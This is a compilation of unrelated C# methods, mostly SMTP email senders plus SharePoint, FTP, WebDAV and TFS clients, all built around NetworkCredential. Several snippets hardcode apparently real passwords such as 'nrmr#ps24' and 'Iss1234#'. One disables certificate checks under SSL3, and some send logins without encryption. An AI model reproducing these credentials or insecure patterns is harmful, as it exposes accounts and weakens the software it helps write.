public async Task sendMail(IdentityMessage message) { #region formatter string text = string.Format("Please click on this link to {0}: {1}", message.Subject, message.Body); string html = message.Body + "<br/>"; html += HttpUtility.HtmlEncode(@"Or click on the copy the following link on the browser:" + message.Body); #endregion MailMessage msg = new MailMessage(); msg.From = new MailAddress("*****@*****.**","Microbrew.it"); msg.To.Add(new MailAddress(message.Destination)); msg.Subject = message.Subject; msg.AlternateViews.Add(AlternateView.CreateAlternateViewFromString(text, null, MediaTypeNames.Text.Plain)); msg.AlternateViews.Add(AlternateView.CreateAlternateViewFromString(html, null, MediaTypeNames.Text.Html)); SmtpClient smtpClient = new SmtpClient("mail.gandi.net", Convert.ToInt32(587)); System.Net.NetworkCredential credentials = new System.Net.NetworkCredential("*****@*****.**", MailPassword); smtpClient.Credentials = credentials; smtpClient.EnableSsl = true; smtpClient.Send(msg); using (ImapClient Client = new ImapClient("access.mail.gandi.net", 993, "*****@*****.**", MailPassword, AuthMethod.Login, true)) { Client.StoreMessage(msg, true, "Sent"); } }
public Task SendAsync(IdentityMessage message) { if (ConfigurationManager.AppSettings["EmailServer"] != "{EmailServer}" && ConfigurationManager.AppSettings["EmailUser"] != "{EmailUser}" && ConfigurationManager.AppSettings["EmailPassword"] != "{EmailPassword}") { System.Net.Mail.MailMessage mailMsg = new System.Net.Mail.MailMessage(); // To mailMsg.To.Add(new MailAddress(message.Destination, "")); // From mailMsg.From = new MailAddress("*****@*****.**", "DurandalAuth administrator"); // Subject and multipart/alternative Body mailMsg.Subject = message.Subject; string html = message.Body; mailMsg.AlternateViews.Add(AlternateView.CreateAlternateViewFromString(html, null, MediaTypeNames.Text.Html)); // Init SmtpClient and send SmtpClient smtpClient = new SmtpClient(ConfigurationManager.AppSettings["EmailServer"], Convert.ToInt32(587)); System.Net.NetworkCredential credentials = new System.Net.NetworkCredential(ConfigurationManager.AppSettings["EmailUser"], ConfigurationManager.AppSettings["EmailPassword"]); smtpClient.Credentials = credentials; return Task.Factory.StartNew(() => smtpClient.SendAsync(mailMsg, "token")); } else { return Task.FromResult(0); } }
public static void Send(Mail mail) { MailMessage msg = new MailMessage(); msg.From = new MailAddress(mail.From, "Money Pacific Service"); msg.To.Add(new MailAddress(mail.To)); msg.Subject = mail.Subject; msg.Body = mail.Body; msg.IsBodyHtml = true; msg.BodyEncoding = new System.Text.UTF8Encoding(); msg.Priority = MailPriority.High; SmtpClient smtp = new SmtpClient(); smtp.Host = "smtp.gmail.com"; System.Net.NetworkCredential user = new System.Net.NetworkCredential( ConfigurationManager.AppSettings["sender"], ConfigurationManager.AppSettings["senderPass"] ); smtp.EnableSsl = true; smtp.Credentials = user; smtp.Port = 587; //or use 465 object userState = msg; try { //you can also call client.Send(msg) smtp.SendAsync(msg, userState); } catch (SmtpException) { //Catch errors... } }
internal bool fileComplaint(string name, string pid, string msg) { MailMessage message = new MailMessage(); try { string emailid = "*****@*****.**"; string smsg1 = "<b>Purchase Id: </b>" + pid; string smsg2 = "<br><b>Name: </b>" + name; string smsg3 = "<br><b>Message: </b>" + msg; message.To.Add(new MailAddress(emailid)); message.From = new MailAddress("*****@*****.**"); message.Subject = "Complaint agianst Purchase Id = " + pid; message.Body = smsg1 + smsg2 + smsg3; message.IsBodyHtml = true; SmtpClient client = new SmtpClient(); client.Port = 25; // Gmail works on this port 587 client.Host = "smtp.net4india.com"; System.Net.NetworkCredential nc = new System.Net.NetworkCredential("*****@*****.**", "nrmr#ps24"); client.EnableSsl = false; client.UseDefaultCredentials = false; client.Credentials = nc; client.Send(message); return true; } catch (Exception ex) { return false; throw ex; } }
public void SendAnEmail() { try { MailMessage _message = new MailMessage(); SmtpClient _smptClient = new SmtpClient(); _message.Subject = _emailSubject; _message.Body = _emailBody; MailAddress _mailFrom = new MailAddress(_emailFrom,_emailFromFriendlyName); MailAddressCollection _mailTo = new MailAddressCollection(); _mailTo.Add(_emailTo); _message.From = _mailFrom; _message.To.Add(new MailAddress(_emailTo,_emailToFriendlyName)); System.Net.NetworkCredential _crens = new System.Net.NetworkCredential( _smtpHostUserName,_smtpHostPassword); _smptClient.Host = _smtpHost; _smptClient.Credentials = _crens; _smptClient.Send(_message); } catch (Exception er) { Log("C:\\temp\\", "Error.log", er.ToString()); } }
public void Get_Taxonomy_mvuatsp13() { const string webUrl = "http://mvuatsp13.macroview.com.au/sites/mvcm1/"; var credentials = new System.Net.NetworkCredential("MacroView\\mjf", "timnmvid&"); var result = TaxonomyHelper.GetTermStores(webUrl, credentials); Assert.That(result != null); }
protected void Page_Load(object sender, EventArgs e) { if (Request.ServerVariables["REQUEST_METHOD"] == "POST") { strPost = CCLib.Common.Strings.GetFormString("post"); if (strPost == "1" && Session["RegionAdminInfo"] != null) { DataRow drAdminInfo = (DataRow)Session["RegionAdminInfo"]; //CCLib.Common.DataAccess.ExecuteDb("update RRS_Login_View set Agreement=1 where RegionId='" + drAdminInfo["RegionId"].ToString().Replace("'", "''") + "' and Password='******'", "''") + "'"); // this.strPassword = drAdminInfo["Password"].ToString().Replace("'", "''"); this.strRegionID = drAdminInfo["RegionId"].ToString(); this.strConnectionStringToSLX = WebConfigurationManager.AppSettings["strConSLX"]; this.strConnectionStringToCC = WebConfigurationManager.AppSettings["strConLocal"]; System.Net.ServicePointManager.SecurityProtocol = System.Net.SecurityProtocolType.Ssl3; System.Net.ServicePointManager.CertificatePolicy = new CareerCruisingWeb.CCLib.SLXIntegration.TrustAllCertificatePolicy(); this.wsSLXIntegration = new WSCCIntegrationWithSLX.IntegrationWithSLX(); this.userCredential = new System.Net.NetworkCredential("WSCCTOSLX", "Next_20"); this.wsSLXIntegration.Credentials = userCredential; this.wsSLXIntegration.PreAuthenticate = true; this.cnnCC = new SqlConnection(this.strConnectionStringToCC); if (this.cnnCC.State == ConnectionState.Closed) { this.cnnCC.Open(); } this.trsCC = this.cnnCC.BeginTransaction(); this.objDistrictUserID = SqlHelper.ExecuteScalar(this.trsCC, CommandType.Text, this.GetCCSQLSelectDistrictUserID(this.strPassword, this.strRegionID)); this.strDistrictUserID = this.objDistrictUserID != null ? this.objDistrictUserID.ToString() : null; this.intReturnValue1 = CareerCruisingWeb.CCLib.SLXIntegration.IntegrationWithSLX.ExecuteNoQuery(this.GetCCSQLUpdateRRSUsers(this.strDistrictUserID), this.cnnCC, this.trsCC); if (this.intReturnValue1 > 0) { this.intReturnValue2 = this.wsSLXIntegration.ExecuteNoQuery(this.GetSLXSQLUpdateConRRSUsers(this.strDistrictUserID), this.strConnectionStringToSLX); if (this.intReturnValue2 > 0) { this.trsCC.Commit(); this.ReleaseObjects(); } else { this.trsCC.Rollback(); this.ReleaseObjects(); } } else { this.trsCC.Rollback(); this.ReleaseObjects(); } // Response.Redirect("https://" + ConfigurationManager.AppSettings["strServerName"] + "/Region/Home.aspx"); } } }
public Task SendAsync(IdentityMessage message) { // Credentials: var credentialUserName = ConfigurationManager.AppSettings["CredentialUserName"]; var sentFrom = ConfigurationManager.AppSettings["SentFrom"]; var pwd = ConfigurationManager.AppSettings["EmailPassword"]; // Configure the client: System.Net.Mail.SmtpClient client = new System.Net.Mail.SmtpClient("smtp-mail.outlook.com"); client.Port = 587; client.DeliveryMethod = System.Net.Mail.SmtpDeliveryMethod.Network; client.UseDefaultCredentials = false; // Create the credentials: System.Net.NetworkCredential credentials = new System.Net.NetworkCredential(credentialUserName, pwd); client.EnableSsl = true; client.Credentials = credentials; // Create the message: var mail = new System.Net.Mail.MailMessage(sentFrom, message.Destination); mail.Subject = message.Subject; mail.Body = message.Body; mail.IsBodyHtml = true; // Send: return client.SendMailAsync(mail); }
public static void SendNotification(string message, string[] to) { SmtpClient client = new SmtpClient(); client.DeliveryMethod = SmtpDeliveryMethod.Network; client.EnableSsl = true; client.Host = "smtp.gmail.com"; client.Port = 587; // setup Smtp authentication System.Net.NetworkCredential credentials = new System.Net.NetworkCredential(SystemMail, SystemMailPass); client.UseDefaultCredentials = false; client.Credentials = credentials; MailMessage msg = new MailMessage(); msg.From = new MailAddress(SystemMail); foreach (var recipient in to) { msg.To.Add(new MailAddress(recipient)); } msg.Subject = "Автоматическя система оповещений VoTak"; msg.IsBodyHtml = true; msg.Body = string.Format("<html><head></head><body>{0}</body>", message); client.Send(msg); }
/** * Method Name: * Method Purpose: * * Date Created: * Last Modified: * * Specifications, Algorithms, and Assumptions: * * * @param returnURL: * @return */ public void sendNewEmail() { // Username and password for gmail System.Net.NetworkCredential cred = new System.Net.NetworkCredential(); cred.Password = "******"; cred.UserName = "******"; // The email message itself MailMessage msg = new MailMessage(); msg.To.Add(toEmail); msg.From = new MailAddress("*****@*****.**"); msg.Headers.Add("Reply-To", "*****@*****.**"); msg.Body = body; msg.IsBodyHtml = false; msg.Subject = subject; // A smtp client is created to send the email. SmtpClient smail = new SmtpClient(); smail.UseDefaultCredentials = false; smail.Credentials = cred; smail.DeliveryMethod = SmtpDeliveryMethod.Network; smail.EnableSsl = true; smail.Port = 587; smail.Host = "smtp.gmail.com"; smail.Send(msg); }
public static int SendEmail(string ToEmail, string fromEmail, string Subject, string Body, string SMTP, string Username, string Password) { try { MailMessage mailMessage = new MailMessage(new MailAddress(fromEmail), new MailAddress(ToEmail)); System.Net.NetworkCredential SmtpUser = new System.Net.NetworkCredential(Username, Password); dynamic emailHeader = default(StringBuilder); StringBuilder emailFooter = new StringBuilder(); //message body and subject property mailMessage.Subject = Subject; mailMessage.Body = emailHeader.ToString() + Body + emailFooter.ToString(); mailMessage.IsBodyHtml = true; //create smtp client SmtpClient smtpMail = new SmtpClient(); //assign smtp properties smtpMail.Host = SMTP; smtpMail.DeliveryMethod = SmtpDeliveryMethod.Network; smtpMail.UseDefaultCredentials = false; smtpMail.Credentials = SmtpUser; //send mail smtpMail.Send(mailMessage); return 1; } catch (Exception ex) { DALUtility.ErrorLog(ex.Message, "SendEmail"); return 0; } }
static void Main(string[] args) { JSONHelper s = new JSONHelper(); SharePointHelper sh = null; System.Net.NetworkCredential cred = null; if (Settings.Instance.Password.Length > 2) { cred = new System.Net.NetworkCredential(Settings.Instance.Username, Settings.Instance.Password); sh = new SharePointHelper(Settings.Instance.SharePointUrl, cred); } else sh = new SharePointHelper(Settings.Instance.SharePointUrl); s.StoreFolder = Settings.Instance.StoreFolder; string action = args[0].ToLower(); if (action == "file") { RecreateList(sh); s.ReadSingleFile(args[1],sh); } else if (action == "folder") s.ReadSingleFolder(args[1]); else if (action == "setupsp") RecreateList(sh); else PrintInfo(); }
private void btnSend_Click(object sender, EventArgs e) { string filename = Path.GetDirectoryName(Application.ExecutablePath); filename += "\\BugReport.txt"; if (!File.Exists(filename)) return; if (!IsEmail(txtEmail.Text)) { MessageBox.Show("Use your email!", "Please..."); txtEmail.Focus(); return; } foreach (Control c in Controls) c.Enabled = false; //Meglio farlo con un thread separato System.Net.Mail.SmtpClient mailClient = new System.Net.Mail.SmtpClient("smtp.gmail.com", 587); mailClient.EnableSsl = true; System.Net.NetworkCredential cred = new System.Net.NetworkCredential( "username", "password"); mailClient.Credentials = cred; System.Net.Mail.MailMessage message = new System.Net.Mail.MailMessage(txtEmail.Text, "*****@*****.**", AboutForm.Singleton.GetSoftwareKey(), "Email:" + txtEmail.Text + Environment.NewLine + "Note:" + Environment.NewLine + txtNote.Text); message.Attachments.Add(new System.Net.Mail.Attachment(filename)); //mailClient.Send(message); Close(); }
public static void Send(string gmailuser, string password, string to, string subject, string message, TradeLink.API.DebugDelegate deb) { d = deb; try { MailMessage mail = new MailMessage(); System.Net.NetworkCredential cred = new System.Net.NetworkCredential (gmailuser, password); mail.To.Add(to); mail.Subject = subject; mail.From = new MailAddress(gmailuser); mail.IsBodyHtml = true; mail.Body = message; SmtpClient smtp = new SmtpClient("smtp.gmail.com"); smtp.UseDefaultCredentials = false; smtp.EnableSsl = true; smtp.Credentials = cred; smtp.Port = 587; smtp.SendCompleted += new SendCompletedEventHandler(s_SendCompleted); smtp.Send(mail); } catch (Exception ex) { debug("Error sending email from: " + gmailuser + " to: " + to + " subject: " + subject + " err: " + ex.Message + ex.StackTrace); } }
public static System.Net.NetworkCredential ParseUserInfo(System.Uri uri) { if (uri == null || string.IsNullOrWhiteSpace(uri.UserInfo)) return null; System.Net.NetworkCredential result = null; //Split into tokens taking only 3 tokens max string[] parts = uri.UserInfo.Split(CredentialSplit, 3); //cache the length of the split int partsLength = parts.Length; //If there are atleast two tokens if (partsLength > 1) { //If there is a domain use it if (partsLength > 2) { result = new System.Net.NetworkCredential(parts[0], parts[2], parts[1]); } else //Use the username and password. (optionally use the host as the domain) { result = new System.Net.NetworkCredential(parts[0], parts[1]);//, uri.Host); } }//There was only one token? return result; }
public void MgSendEmail(string user, string pass, string from, string to, string subject, string message, string server, int port) { SmtpClient client = new SmtpClient(); client.Host = server; client.Port = port; client.EnableSsl = true; System.Net.NetworkCredential nc = new System.Net.NetworkCredential(user, pass); client.Credentials = nc; try { MailMessage msg = new MailMessage(); msg.From = new MailAddress(from); msg.To.Add(to); msg.Subject = subject; msg.Body = message; client.Send(msg); } catch (FormatException f) { Console.WriteLine("Erro de formato dos endereços: " + f); } catch (Exception e) { Console.WriteLine("Erro ao enviar email: "+e); } }
public FTP(string url, Dictionary<string, string> options) { //This can be made better by keeping a single ftp stream open, //unfortunately the .Net model does not allow this as the request is //bound to a single url (path+file). // //To fix this, a thirdparty FTP library is required, //this would also allow a fix for the FTP servers //that only support SSL during authentication, not during transfers // //If you have experience with a stable open source .Net FTP library, //please let the Duplicati authors know Uri u = new Uri(url); if (!string.IsNullOrEmpty(u.UserInfo)) { m_userInfo = new System.Net.NetworkCredential(); if (u.UserInfo.IndexOf(":") >= 0) { m_userInfo.UserName = u.UserInfo.Substring(0, u.UserInfo.IndexOf(":")); m_userInfo.Password = u.UserInfo.Substring(u.UserInfo.IndexOf(":") + 1); } else { m_userInfo.UserName = u.UserInfo; if (options.ContainsKey("ftp-password")) m_userInfo.Password = options["ftp-password"]; } } else { if (options.ContainsKey("ftp-username")) { m_userInfo = new System.Net.NetworkCredential(); m_userInfo.UserName = options["ftp-username"]; if (options.ContainsKey("ftp-password")) m_userInfo.Password = options["ftp-password"]; } } m_url = url; if (!m_url.EndsWith("/")) m_url += "/"; m_useSSL = Utility.Utility.ParseBoolOption(options, "use-ssl"); m_listVerify = !Utility.Utility.ParseBoolOption(options, "disable-upload-verify"); if (Utility.Utility.ParseBoolOption(options, "ftp-passive")) { m_defaultPassive = false; m_passive = true; } if (Utility.Utility.ParseBoolOption(options, "ftp-regular")) { m_defaultPassive = false; m_passive = false; } }
public static void Send(string destination, string subject, string body) { var credentialUserName = "******"; var sentFrom = "*****@*****.**"; var pwd = "quiko"; // Configure the client: System.Net.Mail.SmtpClient client = new System.Net.Mail.SmtpClient("smtp.riquest.de"); client.Port = 25; client.DeliveryMethod = System.Net.Mail.SmtpDeliveryMethod.Network; client.UseDefaultCredentials = false; // Create the credentials: System.Net.NetworkCredential credentials = new System.Net.NetworkCredential(credentialUserName, pwd); client.EnableSsl = false; client.Credentials = credentials; // Create the message: var mail = new System.Net.Mail.MailMessage(sentFrom, destination); mail.Subject = subject; mail.Body = body; // Send: client.Send(mail); }
public static bool SendMail(string smtpHost, int smtpPort, bool smtpSsl, string mailFrom, string mailFromPassword, string nameFrom,string mailTo,string mailObj,string mailBody) { try { SmtpClient client = new SmtpClient(smtpHost, smtpPort); client.EnableSsl = smtpSsl; MailAddress from = new MailAddress(mailFrom, nameFrom); MailAddress to = new MailAddress(mailTo); MailMessage message = new MailMessage(from, to); message.Body = mailBody; message.Subject = mailObj; System.Net.NetworkCredential myCreds = new System.Net.NetworkCredential(mailFrom, mailFromPassword); client.Credentials = myCreds; client.Send(message); return true; } catch (Exception ex) { Console.Write(ex.Message); return false; } }
public int sendEmail(string recipient,string subject,string body) { try { message = new MailMessage(); message.Subject = subject; message.Sender = new MailAddress("*****@*****.**"); message.From = new MailAddress("*****@*****.**"); message.Body = body; message.IsBodyHtml = true; message.To.Add(new MailAddress(recipient)); SmtpClient client = new SmtpClient(); client.Host = "smtp.gmail.com"; //SMTP server for GMail. client.Port = 25; client.EnableSsl = true; //SSL connection is required to be true. client.DeliveryMethod = SmtpDeliveryMethod.Network; client.UseDefaultCredentials = false; System.Net.NetworkCredential credential = new System.Net.NetworkCredential("*****@*****.**", "Iss1234#"); client.Credentials = credential; client.Send(message); //Sending message process. return 1; } catch (Exception exception) { errorobj.WriteErrorLog("SendEmail-sendmail():::" + exception.ToString()); return -1; } }
/// <summary> /// Gets the svn log entries from the repository. /// </summary> /// <returns>An IEnumerable of the QvxDataRows.</returns> private IEnumerable<QvxDataRow> GetSvnLogEntries() { QvxLog.Log(QvxLogFacility.Application, QvxLogSeverity.Notice, "GetSvnLogEntries()"); string username, password, server; this.MParameters.TryGetValue("UserId", out username); this.MParameters.TryGetValue("Password", out password); this.MParameters.TryGetValue("Server", out server); System.Net.NetworkCredential creds = new System.Net.NetworkCredential(username, password); SvnClient client = new SvnClient(); client.Authentication.DefaultCredentials = creds; SvnUriTarget target = new SvnUriTarget(server); Collection<SvnLogEventArgs> logEntries = new Collection<SvnLogEventArgs>(); bool result = client.GetLog(target.Uri, out logEntries); if(!result) { throw new SvnClientException("Retrieving Subversion log failed"); } foreach(SvnLogEventArgs entry in logEntries) { yield return MakeEntry(entry, FindTable("SvnLogEntries", MTables)); } }
public void SendMail(string recipient, string subject, string message) { SmtpClient client = new SmtpClient("mail.leotang.net"); client.Port = 587; client.DeliveryMethod = SmtpDeliveryMethod.Network; client.UseDefaultCredentials = false; System.Net.NetworkCredential credentials = new System.Net.NetworkCredential(_sender, _password); client.EnableSsl = true; client.Credentials = credentials; try { var mail = new MailMessage(_sender.Trim(), recipient.Trim()); mail.Subject = subject; mail.Body = message; mail.IsBodyHtml = true; client.Send(mail); } catch (Exception ex) { Console.WriteLine(ex.Message); throw ex; } }
public static void SendEmail(string toAddress, string subject, string message) { string host = ConfigurationManager.AppSettings["EmailServerHost"]; int port = Convert.ToInt32(ConfigurationManager.AppSettings["EmailServerPort"]); string domain = ConfigurationManager.AppSettings["EmailServerDomain"]; string username = ConfigurationManager.AppSettings["EmailServerUsername"]; string password = ConfigurationManager.AppSettings["EmailServerPassword"]; string fromEmailAddress = ConfigurationManager.AppSettings["EmailFromAddress"]; MailMessage mailMessage = new MailMessage(fromEmailAddress, toAddress); mailMessage.Subject = subject; //string queryString = "apkey=" + Convert.ToString(2); mailMessage.Body = message; mailMessage.IsBodyHtml = false; System.Net.NetworkCredential networkCredential = new System.Net.NetworkCredential(username, password, domain); SmtpClient smtpClient = new SmtpClient(); smtpClient.Host = host; smtpClient.DeliveryMethod = SmtpDeliveryMethod.Network; smtpClient.Port = port; smtpClient.UseDefaultCredentials = false; smtpClient.Credentials = networkCredential; smtpClient.Send(mailMessage); }
private void PopulateProjectNameComboBox() { string url = tfsAddressTextBox.Text; string username = tfsUsernameTextBox.Text; string password = tfsPasswordTextBox.Text; Uri tfsUri; if (!Uri.TryCreate(url, UriKind.Absolute, out tfsUri)) return; var credentials = new System.Net.NetworkCredential(); if (!string.IsNullOrEmpty(username)) { credentials.UserName = username; credentials.Password = password; } var tfs = new TfsTeamProjectCollection(tfsUri, credentials); tfs.Authenticate(); var workItemStore = (WorkItemStore)tfs.GetService(typeof(WorkItemStore)); projectComboBox.Items.Clear(); foreach (Project project in workItemStore.Projects) projectComboBox.Items.Add(project.Name); int existingProjectIndex = -1; if (!string.IsNullOrEmpty(options.ProjectName)) existingProjectIndex = projectComboBox.Items.IndexOf(options.ProjectName); projectComboBox.SelectedIndex = existingProjectIndex > 0 ? existingProjectIndex : 0; }
public static bool Send(MailObject mailObject) { bool result = false; try { MailMessage newMail = new MailMessage(); System.Net.Mail.SmtpClient client = new System.Net.Mail.SmtpClient(); newMail.Subject = mailObject.Receiver.Subject; newMail.Body = mailObject.Receiver.Body; newMail.From = new MailAddress(mailObject.MailAddress); foreach (var item in mailObject.Receiver.MailAddress.Split(',')) newMail.To.Add(item); newMail.IsBodyHtml = mailObject.IsBodyHtml; client.Host = mailObject.HostName; System.Net.NetworkCredential basicauthenticationinfo = new System.Net.NetworkCredential(mailObject.MailAddress, mailObject.MailPassword); client.Port = mailObject.PortNumber; client.EnableSsl = mailObject.EnableSsl; client.UseDefaultCredentials = mailObject.UseDefaultCredentials; client.Credentials = basicauthenticationinfo; client.DeliveryMethod = SmtpDeliveryMethod.Network; client.Send(newMail); result = true; } catch (Exception) { result = false; } return result; }
public bool SendMail(string from, string to, string replyto, string subject, string body) { MailMessage msg = new MailMessage(from, to); msg.Subject = subject; msg.Body = body; msg.BodyEncoding = Encoding.UTF8; msg.IsBodyHtml = true; msg.ReplyToList.Add(replyto); //get config params string sMTPServerName = WebConfigurationManager.AppSettings["SMTPServerName"].ToString(); string sMTPLoginName = WebConfigurationManager.AppSettings["SMTPLoginName"].ToString(); string sMTPPassword = WebConfigurationManager.AppSettings["SMTPPassword"].ToString(); int sMTPPort = Convert.ToInt32(WebConfigurationManager.AppSettings["SMTPPort"].ToString()); SmtpClient client = new SmtpClient(sMTPServerName, sMTPPort); System.Net.NetworkCredential basicCredential = new System.Net.NetworkCredential(sMTPLoginName, sMTPPassword); client.EnableSsl = true; client.UseDefaultCredentials = true; client.Credentials = basicCredential; try { client.Send(msg); } catch (Exception) { return false; } return true; }
public bool SendMail(string target, string content, int id) { try { MailMessage mailMsg = new MailMessage(); // To mailMsg.To.Add(new MailAddress(target)); // From mailMsg.From = new MailAddress("*****@*****.**", "Realpoll"); // Subject and multipart/alternative Body mailMsg.Subject = string.Format("Question details for question #{0}", id); mailMsg.AlternateViews.Add(AlternateView.CreateAlternateViewFromString(content, null, MediaTypeNames.Text.Html)); // Init SmtpClient and send SmtpClient smtpClient = new SmtpClient("smtp.sendgrid.net", Convert.ToInt32(587)); System.Net.NetworkCredential credentials = new System.Net.NetworkCredential(WebConfigurationManager.AppSettings["sendgrid:username"], WebConfigurationManager.AppSettings["sendgrid:password"]); smtpClient.Credentials = credentials; smtpClient.Send(mailMsg); return true; } catch { //TODO: Log return false; } }
public static bool send_mail_gmail(string gmail_sender_account, string gmail_sender_pass, string sender_name, string sender_email, string receiver_name, string receiver_email, string subject, string body_content) { bool flag = false; System.Net.NetworkCredential smtp_user_info = new System.Net.NetworkCredential(gmail_sender_account, gmail_sender_pass); System.Net.Mail.MailMessage mailMessage = new System.Net.Mail.MailMessage(); mailMessage.From = new System.Net.Mail.MailAddress(sender_email, sender_name, System.Text.UTF8Encoding.UTF8); mailMessage.To.Add(new System.Net.Mail.MailAddress(receiver_email, receiver_name.Trim(), System.Text.UTF8Encoding.UTF8)); mailMessage.Subject = subject; mailMessage.SubjectEncoding = System.Text.Encoding.UTF8; mailMessage.Body = body_content; mailMessage.IsBodyHtml = true; mailMessage.BodyEncoding = System.Text.UnicodeEncoding.UTF8; //mailMessage.Priority = MailPriority.High; /* Set the SMTP server and send the email - SMTP gmail ="smtp.gmail.com" port=587*/ System.Net.Mail.SmtpClient smtp = new System.Net.Mail.SmtpClient(); smtp.Host = "smtp.gmail.com"; smtp.Port = 587; //port=25 smtp.Timeout = 100; smtp.EnableSsl = true; smtp.Credentials = smtp_user_info; try { smtp.Send(mailMessage); flag = true; } catch (Exception ex) { ex.ToString(); } return flag; }
private SiteManager.SiteManagerClient GetSiteManagerClient() { BasicHttpBinding binding = new BasicHttpBinding(); if (txtWebApplicationUrl.Text.ToLower().Contains("https://")) { binding.Security.Mode = BasicHttpSecurityMode.Transport; } else { binding.Security.Mode = BasicHttpSecurityMode.TransportCredentialOnly; } binding.Security.Transport.ClientCredentialType = HttpClientCredentialType.Ntlm; EndpointAddress endPoint = new EndpointAddress(txtWebApplicationUrl.Text + "/_vti_bin/provisioning.services.sitemanager/sitemanager.svc"); //Set time outs binding.ReceiveTimeout = TimeSpan.FromMinutes(15); binding.CloseTimeout = TimeSpan.FromMinutes(15); binding.OpenTimeout = TimeSpan.FromMinutes(15); binding.SendTimeout = TimeSpan.FromMinutes(15); //Create proxy instance SiteManager.SiteManagerClient managerClient = new SiteManager.SiteManagerClient(binding, endPoint); managerClient.ClientCredentials.Windows.AllowedImpersonationLevel = System.Security.Principal.TokenImpersonationLevel.Impersonation; var impersonator = new System.Net.NetworkCredential(txtAccount.Text, txtPassword.Text, txtDomain.Text); managerClient.ClientCredentials.Windows.ClientCredential = impersonator; return managerClient; }
public void BasicAuthCredential_NoConfiguration_ReturnDefaultCredential( ) { var appSettingsFake = new NameValueCollection( ); IKuduConfiguration config = CreateConfiguration( null , appSettingsFake ); var defaultCredential = new System.Net.NetworkCredential( "admin" , "kudu" ); Assert.Equal( defaultCredential , config.BasicAuthCredential.GetCredentials( ) ); }
public WEBDAV(string url, Dictionary <string, string> options) { var u = new Utility.Uri(url); u.RequireHost(); m_dnsName = u.Host; if (!string.IsNullOrEmpty(u.Username)) { m_userInfo = new System.Net.NetworkCredential(); m_userInfo.UserName = u.Username; if (!string.IsNullOrEmpty(u.Password)) { m_userInfo.Password = u.Password; } else if (options.ContainsKey("auth-password")) { m_userInfo.Password = options["auth-password"]; } } else { if (options.ContainsKey("auth-username")) { m_userInfo = new System.Net.NetworkCredential(); m_userInfo.UserName = options["auth-username"]; if (options.ContainsKey("auth-password")) { m_userInfo.Password = options["auth-password"]; } } } //Bugfix, see http://connect.microsoft.com/VisualStudio/feedback/details/695227/networkcredential-default-constructor-leaves-domain-null-leading-to-null-object-reference-exceptions-in-framework-code if (m_userInfo != null) { m_userInfo.Domain = ""; } m_useIntegratedAuthentication = Utility.Utility.ParseBoolOption(options, "integrated-authentication"); m_forceDigestAuthentication = Utility.Utility.ParseBoolOption(options, "force-digest-authentication"); m_useSSL = Utility.Utility.ParseBoolOption(options, "use-ssl"); m_url = u.SetScheme(m_useSSL ? "https" : "http").SetCredentials(null, null).SetQuery(null).ToString(); if (!m_url.EndsWith("/", StringComparison.Ordinal)) { m_url += "/"; } m_path = u.Path; if (!m_path.StartsWith("/", StringComparison.Ordinal)) { m_path = "/" + m_path; } if (!m_path.EndsWith("/", StringComparison.Ordinal)) { m_path += "/"; } m_path = Library.Utility.Uri.UrlDecode(m_path); m_rawurl = new Utility.Uri(m_useSSL ? "https" : "http", u.Host, m_path).ToString(); int port = u.Port; if (port <= 0) { port = m_useSSL ? 443 : 80; } m_rawurlPort = new Utility.Uri(m_useSSL ? "https" : "http", u.Host, m_path, null, null, null, port).ToString(); m_sanitizedUrl = new Utility.Uri(m_useSSL ? "https" : "http", u.Host, m_path).ToString(); m_reverseProtocolUrl = new Utility.Uri(m_useSSL ? "http" : "https", u.Host, m_path).ToString(); options.TryGetValue("debug-propfind-file", out m_debugPropfindFile); }
public void Add(System.Uri uriPrefix, string authType, System.Net.NetworkCredential cred) { }
public void Add(string host, int port, string authenticationType, System.Net.NetworkCredential credential) { }
/// <summary> /// Sends an email with more options. /// </summary> /// <param name="strFrom">The from field. Required.</param> /// <param name="strTo">Recipients. Separate with comma. At least one is required.</param> /// <param name="strCC">CC recipients. Separate with comma. Optional; use null or Nothing if blank.</param> /// <param name="strAttachments">Attachments. Separate with comma. Optional; use null or Nothing if blank.</param> /// <param name="strSubject">The subject of the message. Required.</param> /// <param name="strBody">The body of the message. Required.</param> /// <param name="strReplyTo">Reply recipient. Only list one. On IIS 7, this requires integreated pipeline mode. Optional; use null or Nothing if blank.</param> /// <param name="boolBodyHtml">Is the body HTML or not? Required.</param> /// <param name="strMailServer">The SMTP client to send this message. Required.</param> /// <param name="strUser">The SMTP user. Required.</param> /// <param name="strPass">The SMPT password. Required.</param> /// <param name="boolSsl">True to connect with SSL. False to connect without SSL. Required.</param> /// <returns>Retuns success or exception.</returns> public string SendEmail(string strFrom, string strTo, string strCC, string strAttachments, string strSubject, string strBody, string strReplyTo, bool boolBodyHtml, string strMailServer, string strUser, string strPass, bool boolSsl) { // String to hold result message. string strEmailSuccess = String.Empty; try { using (System.Net.Mail.MailMessage msg = new System.Net.Mail.MailMessage()) { msg.IsBodyHtml = boolBodyHtml; msg.From = new System.Net.Mail.MailAddress(strFrom); // Split the To string into an array and add each address. string[] strToArray = strTo.Split(','); foreach (string strToRecipient in strToArray) { msg.To.Add(new System.Net.Mail.MailAddress(strToRecipient)); } if ((strCC != null) && (strCC != String.Empty) && (strCC.Length > 0)) { // Split the CC string into an array and add each address. string[] strCCArray = strCC.Split(','); foreach (string strCCRecipient in strCCArray) { msg.CC.Add(new System.Net.Mail.MailAddress(strCCRecipient)); } } msg.Subject = strSubject; msg.Body = strBody; if ((strReplyTo != null) && (strReplyTo != String.Empty) && (strReplyTo.Length > 0)) { msg.ReplyTo = new System.Net.Mail.MailAddress(strReplyTo); } if ((strAttachments != null) && (strAttachments != String.Empty) && (strAttachments.Length > 0)) { // Split the attachments string into an array and add each attachment. string[] strAttachmentArray = strAttachments.Split(','); foreach (string strAttachment in strAttachmentArray) { System.Net.Mail.Attachment attachment = new System.Net.Mail.Attachment(strAttachment); msg.Attachments.Add(attachment); } } using (System.Net.Mail.SmtpClient client = new System.Net.Mail.SmtpClient(strMailServer)) { System.Net.NetworkCredential user = new System.Net.NetworkCredential(strUser, strPass); client.Credentials = user; client.EnableSsl = boolSsl; client.Send(msg); } } // Success! Say so. strEmailSuccess = "Complex overload sent at " + System.DateTime.Now.ToString() + "!"; } catch (Exception ex) { // Problem! Say so. strEmailSuccess = ex.ToString(); } return(strEmailSuccess); }
